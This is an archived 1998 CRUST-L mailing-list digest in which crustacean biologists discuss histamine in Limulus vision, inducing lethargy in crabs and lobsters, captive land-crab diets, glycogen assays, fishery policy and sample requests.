Journal of Comparative Neurology (1991) 305: 527-42 Histamine has been proposed as a photoreceptor neurotransmitter in two major groups of arthropods, the insects and the crustacea. In this study biochemical and immunocytochemical approaches were used to examine the synthesis, endogenous content, and cellular distribution of histamine in the visual system of the horseshoe crab Limulus polyphemus, an ancient chelicerate arthropod. Studies with this animal have been critical to our understanding of the basic processes of vision. High-voltage paper electrophoresis was used to assay for histamine synthesis in Limulus tissues incubated with radiolabeled histidine; histamine synthesis was detected in the lateral, median, and ventral eyes and optic nerves and in the visual centers in the brain. Endogenous histamine, assayed as its orthophthalaldehyde derivative by high-performance liquid chromatography and electrochemical detection, was also detected in these tissues. Immunocytochemical analyses, with an antiserum directed against a protein conjugate of histamine, revealed histamine-like immunoreactivity in the somata of photoreceptors in each of the eyes and in the regions of the brain where the photoreceptors terminate. Histamine-like immunoreactivity was also intense in the cell bodies and axon collaterals of eccentric cells in the lateral eye and in eccentric cell projections in the brain. These results show that histamine is a major biogenic amine in the Limulus visual system, and they suggest that this amine is involved in transmitting visual information from the eyes to the brain and in lateral inhibition, a fundamental mechanism for processing visual information in the lateral eye. my reading of the literature is that histamine is a true neuromodulatory amine in crustaceans, particularly of the visual system - along the lines of other biogenic amines such as serotonin or octopamine. i didnt find much though about histamine in allergic reactions in crustaceans though, sorry. hope this helps, ciao, lobsterman Robert Huber /\\ Snailmail: University Graz, Dept. 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Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Wed, 27 May 1998 09:23:06 -0400 (EDT) Subject: CRUST-L: reproductive hormones Please respond to the address below and not to me. Thanks, Jeff - ---------- Forwarded message ---------- X-Sender: studenti@server.area.fi.cnr.it X-Mailer: Windows Eudora Light Version 1.5.2 Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" To: crust-l@VIMS.EDU From: studenti Subject: REPRODUCTIVE HORMONES Hello to everybody ! We are three students in biology at Florence University (Italy) . We are trying to induce artificial reproduction of Groundwater Isopods. Any kind of help will be wellcome , thanks ! CIAO ! - ----------------------------------------------- c/o Ce.S.F.E.T. -CNR V. Romana 17 - 50125 Firenze Italy E_mail studenti@csfet.fi.cnr.it =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Wed, 27 May 1998 09:25:18 -0400 (EDT) Subject: CRUST-L: sleeping bugs CRUSTlers, Just to set the record straight, it was Fernando Alonso who posted the first submission on the sleeping lobsters. I had inadvertently deleted his address from the forwarded message. Cheers, Jeff jeff@vims.edu ( ) ( ) Jeffrey Shields (^ ^) (^ ^) Assistant Professor (^) . . (^) Virginia Institute of Marine Science \\\\ 0 | | 0 // Gloucester Point, VA 23062, USA \\\\__\\\\|}{|//__// Tel (804) 684-7128; Fax (804) 684-7186 \\^ ^^ ^/ http://www.vims.edu/~jeff/ <====\\^ ( ) ^/====> <====\\^ ^/====> <====\\ /====> ()===(____)===() =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Debi Ingrao Date: Wed, 27 May 1998 09:43:03 -0700 (PDT) Subject: Re: CRUST-L: Re:Sleeping crayfish Down Under My Dad is a commercial lobsterman in Maine and I grew up working on the lobster boat. To break the boredom at lunch time, we used to stand the lobsters on their rostrum and claws (making a lobster tripod) and stroke the top of their thorax from just below the rostrum to the end of the thorax and put them to ""sleep"". The lobsters would stay like that until we put them back into a crawling postion. debi Ingrao Mote Marine Laboratory Phone: (941) 388-4441 EXT. 436 Benthic Ecology Program Fax: (941) 388-4312 1600 Thompson Parkway Sarasota, Fl 34236 e-mail: debi@marinelab.sarasota.fl.us See: http://www.marinelab.sarasota.fl.us We are an independent, nonprofit, marine and estuarine research and education facility. Opinions expressed here are NOT MML policy unless so indicated. Don't CLAM up! THINK SAFETY =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: ""P. Castro"" Date: Wed, 27 May 1998 09:21:00 -0700 (PDT) Subject: CRUST-L: recent aquaculture figures Dear colleagues: I will be most grateful if someone informs me the latest (FAO's 1996?) world-wide figure for aquaculture production (fresh-water and marine organisms) and, if possible, their value. The value for only marine organisms, if know, will also be most valuable. The latest figures I have are FAO's 1995 statistics. Thanking you in advance, Peter Castro **************************************** P. Castro, Ph.D. Biological Sciences Department California State Polytechnic University Pomona, CA 91768-4032, U.S.A. e-mail: pcastro@csupomona.edu http://www.csupomona.edu/biology/ Phone - voice mail: (909)869-4069 Fax: (909)869-4078 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Tina Carvalho Date: Wed, 27 May 1998 08:26:31 -1000 (HST) Subject: CRUST-L: Crab feed (fwd) I am forwarding this reply to the query on feed for Cardisoma to the list for general information. Aloha, Tina http://www.pbrc.hawaii.edu/bemf/microangela **************************************************************************** * Tina (Weatherby) Carvalho * tina@pbrc.hawaii.edu * * Biological Electron Microscope Facility * (808) 956-6251 * * University of Hawaii at Manoa * http://www.pbrc.hawaii.edu/bemf* **************************************************************************** - ---------- Forwarded message ---------- Date: Tue, 26 May 1998 17:06:08 -1000 (HST) From: Ian Cooke Dear Andy, Tina Carvalho forwarded your inquiry to the Crustacean Net. I've worked with captive Cardisoma (guanumi and more recently carnifex) since 1968. I've used Purina rat chow (now sold as ""rodent"" chow) as the basic diet, and the crabs seem to do alright on it. We supplement sometimes with veggie scraps from the supermarket - lettuce, cabbage, broccoli stems, etc. Might be they should get a bit of protein sometimes; I'd not claim this diet is totally sufficient, as the crabs, regardless of size, have never molted in captivity (I've had individuals over a year). Could be that they need a burrow and privacy to go into molt. We hold the animals in wire cages and supply fresh and sea water in separate flower pot saucers large enough for them to nearly immerse themselves in. We also supply small clay pots for individual shelters. C. carnifex males (I'm only allowed to import males to Honolulu), unlike guanumi, don't tear each other up when held at close quarters in a cage. With C. guanumi, the claws had to be tied against the body if they were to be kept together. Great animals. Have fun! Ian M. Cooke, Ph.D. e-mail: ian@pbrc.hawaii.edu Professor of Zoology/Researcher www.pbrc.hawaii.edu//ian Department of Zoology/Pacific Biomedical Research Center University of Hawaii 1993 East-West Road Tel: (808) 956 6776 Honolulu, Hawaii 96822, U.S.A. Fax: (808) 956 6984 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ End of crust-l-digest V1 #146 ***************************** >From owner-crust-l Sat May 30 16:33:10 1998 Received: (from majord@localhost) by back.vims.edu (8.6.12/) id QAA13008 for crust-l-digest-outgoing; Sat, 30 May 1998 16:32:30 -0400 Date: Sat, 30 May 1998 16:32:30 -0400 Message-Id: <199805302032.QAA13008@back.vims.edu> From: owner-crust-l-digest To: crust-l-digest@vims.edu Subject: crust-l-digest V1 #147 Reply-To: crust-l Errors-To: owner-crust-l-digest Precedence: bulk Status: RO X-Status: X-Keywords: X-UID: 21 crust-l-digest Saturday, 30 May 1998 Volume 01 : Number 147 Re:CRUST-L:reproductive hormones CRUST-L: Actograph CRUST-L: Induced lethargy in crabs RE: CRUST-L: Crab feed (fwd) CRUST-L: Induced lethargy in crabs CRUST-L: need nephropid lobster muscle CRUST-L: Male-only fisheries...? [none] CRUST-L: glycogen CRUST-L: Crustacean Congress CRUST-L: crustacean anticoagulants CRUST-L: re: glycogen CRUST-L: Male-only fisheries...? [none] CRUST-L: Quiescent Crabs ---------------------------------------------------------------------- From: pnoel@CIMRS1.MNHN.FR (Pierre NOEL) Date: Thu, 28 May 1998 11:06:52 +0100 Subject: Re:CRUST-L:reproductive hormones TO : ""three students in biology at Florence"" + copy to crust-l@VIMS.EDU >Hello to everybody ! >We are three students in biology at Florence University (Italy) . >We are trying to induce artificial reproduction of Groundwater Isopods. >Any kind of help will be wellcome , thanks ! >CIAO ! THE specialists of this question are in Poitiers (France). You may contact for instance : Dr. (Mme) Catherine Souty-Grosset, or Dr. (Mr.) Frederic Grandjean, or Dr. (Mr.) Gilbert Martin, or Dr. (Mr.) Pierre Juchault, Laboratoire de Biologie Animale, (Genetique et Biologie des Populations de Crustaces), Universite de Poitiers, 40 avenue du Recteur Pineau, F-86022 Poitiers cedex, France Tel. +33 5 49 45 36 07; fax +33 5 49 45 40 15; e-mail Catherine.Souty@campus.univ-poitiers.fr If I am not wrong, Catherine Souty-Grosset went in your place in Florence for the International Workshop on alien species of crayfish in Europe 24-27 Sept. 1997. Did you meet her then? Best Regards, Pierre. Pierre Y. Noel, Biologie des Invertebres marins, CNRS URA no699, Museum national d'Histoire naturelle, 55 rue Buffon, F-75005 Paris, France. e mail pnoel@mnhn.fr Tel +33 1 4079 3098 Fax +33 1 4079 3089 Visitez le serveur du Museum/Visit our Webserver (http://www.mnhn.fr) =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: ""Henrique Queiroga"" Date: Thu, 28 May 1998 10:37:48 +0100 Subject: CRUST-L: Actograph Dear fellows, I wish to construct an actograph based on infrared emitters and detectors, for use with crab zoeae. My interest is to study rhythmic vertical migrations of the larvae. The descriptions I found in the literature, so far, are either inappropriate in the level of technical detail they give, or concern actographs that are not accurate enough to detect individual zoeae. Can anybody out there provide me references on devices of this kind that can detect individual 1 mm (perhaps slightly less) crab zoeae? Information on manufacturers of components would also be greatly appreciated. Many thanks, Henrique Queiroga __ Departamento de Biologia Universidade de Aveiro Campus Universitario de Santiago 3810 Aveiro Portugal Tel: +351.34.370787 Tel: +351.34.370200 ext 2722 Fax: +351.34.26408 Should you send any attached file to me, please use any of the following encoding options: ASCII text, UUencoding, MIME =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: CampDaveK@AOL.COM Date: Thu, 28 May 1998 18:31:37 EDT Subject: CRUST-L: Induced lethargy in crabs The recent thread about inducing lethargy in crawfish reminded me of a time years ago when my colleague, Tom Savage, showed me how to induce lethargy in the Florida stone crab, Menippe mercenaria. Tom was studying claw regeneration by that species in the early 1970s, because there is a fishery for the claws here and the law requires fishers to return the animal to the water. I do not know how he discovered the method of inducing lethargy, but he used it frequently in order to prevent having his fingers crushed by the powerful claws. The method involved using a thin straightedge, such as a short plastic ruler, the edge of which he placed in the mesial groove at the front of the carapace between the eyes. After Tom stroked the groove with the edge of the ruler for one or two minutes, the crab would become completely limp and stay that way for several minutes after the ruler was taken away. The state of lethargy gave Tom the opportunity to take all the measurements he needed from the crab with complete safety. I always thought it would make a nifty parlor trick, but there are so few stone crabs in parlors these days, it is a difficult trick to exhibit. Best wishes to all, Dave Camp Florida Marine Research Institute St. Petersburg, Florida, U.S.A. campdavek@aol.com =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Choy Satish Date: Fri, 29 May 1998 11:48:17 +1000 Subject: RE: CRUST-L: Crab feed (fwd) Dear All, In Fiji, I have kept Cardisoma carnifax in captivity and they seemed to do well with a mixture/variety of diet including grated coconut kernel (matured nuts that become brown on the outside and have about a 1cm thick kernel inside), chicken pellets, leafy vegetables. They successfully molted in captivity when shelters such as old tyres, etc are provided. In Fiji, this species is caught (usually soon after rains, when they come out of their flooded burrows, especially at night) and sold in local markets for about US$5.00 for a bundle of 10. After capture, the crabs are sometimes held in captivity and fed on grated coconut kernel until they are taken to the market and sold. The method of capture of large numbers is very interesting, but that's another story.... Satish >---------- >From: Tina Carvalho[SMTP:tina@pbrc.hawaii.edu] >Sent: Thursday, May 28, 1998 4:26 AM >To: crust-l@VIMS.EDU >Subject: CRUST-L: Crab feed (fwd) > >I am forwarding this reply to the query on feed for Cardisoma to the list >for general information. > >Aloha, >Tina > >http://www.pbrc.hawaii.edu/bemf/microangela >**************************************************************************** >* Tina (Weatherby) Carvalho * tina@pbrc.hawaii.edu * >* Biological Electron Microscope Facility * (808) 956-6251 * >* University of Hawaii at Manoa * http://www.pbrc.hawaii.edu/bemf* >**************************************************************************** > >---------- Forwarded message ---------- >Date: Tue, 26 May 1998 17:06:08 -1000 (HST) >From: Ian Cooke > >Dear Andy, > Tina Carvalho forwarded your inquiry to the >Crustacean Net. I've worked with captive Cardisoma (guanumi >and more recently carnifex) since 1968. I've used Purina >rat chow (now sold as ""rodent"" chow) as the basic diet, and >the crabs seem to do alright on it. We supplement sometimes >with veggie scraps from the supermarket - lettuce, cabbage, >broccoli stems, etc. Might be they should get a bit of >protein sometimes; I'd not claim this diet is totally >sufficient, as the crabs, regardless of size, have never >molted in captivity (I've had individuals over a year). >Could be that they need a burrow and privacy to go into >molt. We hold the animals in wire cages and supply fresh >and sea water in separate flower pot saucers large enough >for them to nearly immerse themselves in. We also supply >small clay pots for individual shelters. C. carnifex males >(I'm only allowed to import males to Honolulu), unlike >guanumi, don't tear each other up when held at close >quarters in a cage. With C. guanumi, the claws had to be >tied against the body if they were to be kept together. > Great animals. Have fun! > >Ian M. Cooke, Ph.D. e-mail: ian@pbrc.hawaii.edu >Professor of Zoology/Researcher www.pbrc.hawaii.edu//ian >Department of Zoology/Pacific Biomedical Research Center >University of Hawaii >1993 East-West Road Tel: (808) 956 6776 >Honolulu, Hawaii 96822, U.S.A. Fax: (808) 956 6984 > > > > >=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= >To (un)subscribe to CRUST-L: >Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. >To post to CRUST-L, send messages to CRUST-L@VIMS.EDU >Send HELP to MAJORDOMO@VIMS.EDU for additional commands. >Archives available at http://www.vims.edu/~jeff/archive.htm >=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= > =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: ""Dr.C.L.McLay"" Date: Fri, 29 May 1998 15:20:17 +1200 Subject: CRUST-L: Induced lethargy in crabs In New Zealand we have an intertidal belliid crab, Heterozius rotundifrons, in which the males have a very much larger right cheliped than females. Excessive handling of the males results in them spreading their chelipeds to the fullest extent and becoming completely paralytic! The chelipeds are locked in position and the crab seems to be dead. Perhaps this is a case of self-induced lethargy? Left undisturbed for several minutes the crab simply gets up and runs off. Dr Colin McLay Zoology Department Canterbury University PB 4800, Christchurch New Zealand. Tel: +64 3 364 2887 FAX: +64 3 364 2024 email: c.mclay@zool.canterbury.ac.nz WWW Home Page: http://www.zool.canterbury.ac.nz/cm.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: DTSHUDY@EDINBORO.EDU Date: Fri, 29 May 1998 09:46:13 -0500 (EST) Subject: CRUST-L: need nephropid lobster muscle Dear List members, I guess I'll re-post my request for nephropid muscle samples. Could anyone out there send a claw (or whole specimen, of course) of Thaumastocheles, Thaumastochelopsis, Homarinus, Thymopides, Thymopsis, Thymops, Nephropsis, Nephropides, Eunephrops or Acanthacaris? My colleagues and I have begun the long process of testing morphology-based clawed lobster phylogenies (e.g. Tshudy and Babcock, 1997, Journal of Crustacean Biology 17(2):253-263) with molecular data. We need muscle samples, shipped in alcohol or on dry ice, from all recent genera. We have begun sequencing Homarus and Metanephrops, and have Nephrops and some outgroup reps. on the way (thanks to those who replied last week), but need all the genera listed above. We can pay for postage, packing, etc. If anyone out there could help, I'll e-mail details (address, etc.). Thanks for your time. Sincerely, Dale Tshudy, Ph.D. Associate Professor Dept. of Geosciences Edinboro University of PA Edinboro, Pennsylvania 16444 USA 814-732-2453 (my office) -2529 (Geooffice) =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: ""Dave Schoeman"" Date: Fri, 29 May 1998 15:56:17 SAT-2 Subject: CRUST-L: Male-only fisheries...? Hi all, I am trying to ascertain the likely ecological implications of a policy which would prohibit the capture of female spiny lobsters in a moderate-sized (~ 2000 MT p.a.), directed, trap fishery for lobsters in shallow (5-100 m) coastal waters. The fishery is currently managed by means of a minimum legal size, which already forces it towards a male-dominated catch. Harvest proportions are around 30%. The literature provides contrasting opinions (mainly studies on crabs) on whether or not the potential reduction in abundance of large males (or alteration of sex ratio) will influence mating success. Any ideas? - - Dave Dave Schoeman Sea Fisheries Research Institute Private Bag X2 Rogge Bay 8012 Cape Town, South Africa Phone: (021) 4023127 http://www.gov.za/sfri/sf.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: owner-crust-l Date: Fri, 29 May 1998 10:40:44 -0400 Subject: [none] - ---------- Forwarded message ---------- Date: Fri, 29 May 1998 17:24:06 +0300 To: aqua-l@killick.ifmt.nf.ca From: ""IMBC: Information Design and Development Dept."" Subject: CRUST-L: New Appointment at IMBC Sender: owner-crust-l@back.vims.edu Precedence: bulk Reply-To: ""IMBC: Information Design and Development Dept."" *Apologies for the cross-postings* Following the resignation of Prof. A. Eleftheriou, The Institute of Marine Biology of Crete, Greece, has appointed a new Director, Prof. E. Zouros from the Dept of Biology, Dalhousie University, Canada. Further details of the new appointment can be found in the Institute's What's New section: http://www.imbc.gr/whats_new/index.html Information Design and Development Dept. IMBC, Greece =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Fri, 29 May 1998 10:48:42 -0400 (EDT) Subject: CRUST-L: glycogen CRUSTlers, Have any of you quantified glycogen levels recently? I'm comparing the Dubois (phenol oxidation), the glucose HK (enzymatic conversion), and the anthrone (carbohydrate reduction) methods. Funny how published results show little variation between the three (except when using nerve tissue) while our lab results show significant variation. I'd like to expand sampling using the Dubois method because its signficantly cheaper and more efficient. We're proceeding to spike unknowns to look at recovery issues. Any insights would be appreciated. Cheers, Jeff jeff@vims.edu ( ) ( ) Jeffrey Shields (^ ^) (^ ^) Assistant Professor (^) . . (^) Virginia Institute of Marine Science \\\\ 0 | | 0 // Gloucester Point, VA 23062, USA \\\\__\\\\|}{|//__// Tel (804) 684-7128; Fax (804) 684-7186 \\^ ^^ ^/ http://www.vims.edu/~jeff/ <====\\^ ( ) ^/====> <====\\^ ^/====> <====\\ /====> ()===(____)===() =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Fri, 29 May 1998 12:51:44 -0400 (EDT) Subject: CRUST-L: Crustacean Congress Please respond to Stefan Koenemann, and not to me. Cheers, Jeff - ---------- Forwarded message ---------- Received: from SpoolDir by CYAN (Mercury 1.31); 29 May 98 11:58:21 +1100 From: ""Stefan Koenemann"" To: CRUST-L@vims.edu Date: Fri, 29 May 1998 11:58:13 EST MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Subject: Amsterdam Crustacean Crongress Priority: normal X-mailer: Pegasus Mail for Win32 (v2.54) For participants of the 4th ICC in Amsterdam who are interested in low budget accomodations or sharing hotel rooms: here are some useful web sites and links, with phone numbers etc. that might help you find something affordable. Maybe you have to drill yourself through a couple of pages. My tip: start with the Arena and try to make reservations (and do it soon, because Amsterdam is pretty packed during the summer); if they don't have anything available, they might give you some information about cheap alternatives. Amsterdam - Digital City (general city site, also in English): http://www.dds.nl/ Amsterdam, general site (type 'hotel' into search field): http://www.amsterdam.nl/amsterdam.html Arena (nice, low budget hotel not far from the centrum): http://www.amsterdam.nl/./piga.cgi?GD-KEY=1114 Good luck, Stefan Stefan Koenemann Department of Biological Sciences Old Dominion University Norfolk, VA 23529-0266 USA Tel: (757) 683-3606 Fax: (757) 683-5283 e-mail: biolgrad@odu.edu http://www.odu.edu/~jrh100f =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Fri, 29 May 1998 13:24:45 -0400 (EDT) Subject: CRUST-L: crustacean anticoagulants CRUSTlers, Came across a reference for an anticoagulant. 5% sodium polyanethol sulfate Morello & Ellner, 1969. Appl. Microbiol. 17: 68-70. Though this might be of interest to some of you. It was used to obtain blood/hemolymph for microbiological assessments. Cheers, Jeff jeff@vims.edu ( ) ( ) Jeffrey Shields (^ ^) (^ ^) Assistant Professor (^) . . (^) Virginia Institute of Marine Science \\\\ 0 | | 0 // Gloucester Point, VA 23062, USA \\\\__\\\\|}{|//__// Tel (804) 684-7128; Fax (804) 684-7186 \\^ ^^ ^/ http://www.vims.edu/~jeff/ <====\\^ ( ) ^/====> <====\\^ ^/====> <====\\ /====> ()===(____)===() =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Fri, 29 May 1998 13:25:26 -0400 (EDT) Subject: CRUST-L: re: glycogen - ---------- Forwarded message ---------- Date: Fri, 29 May 1998 12:00:36 -0500 From: ""Shiao Y. Wang"" Reply-To: Shiao.Wang@usm.edu Organization: University of Southern Mississippi X-Mailer: Mozilla 3.0 (Win95; I) MIME-Version: 1.0 To: Jeffrey Shields CC: crust-l@vims.edu Subject: Re: CRUST-L: glycogen References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit > Have any of you quantified glycogen levels recently? I'm comparing the > Dubois (phenol oxidation), the glucose HK (enzymatic conversion), and the > anthrone (carbohydrate reduction) methods. Funny how published results > show little variation between the three (except when using nerve tissue) > while our lab results show significant variation. I'd like to expand > sampling using the Dubois method because its signficantly cheaper and > more efficient. We're proceeding to spike unknowns to look at recovery > issues. Any insights would be appreciated. Jeff, the following won't add any insights but is related to the Dubois method. I think the Dubois method measures total sugar, including ribose and deoxyribose (the reaction is not as chromogenic with deoxyribose compared to glucose if my memory is correct). This would mean that DNA and RNA are also included in the measurement. I've always wondered whether this would affect one's results, especially in organisms where the ratio of stored glucogen to RNA or DNA is low. Does anyone have data or insight? - -- Shiao Y. Wang Department of Biological Sciences University of Southern Mississippi 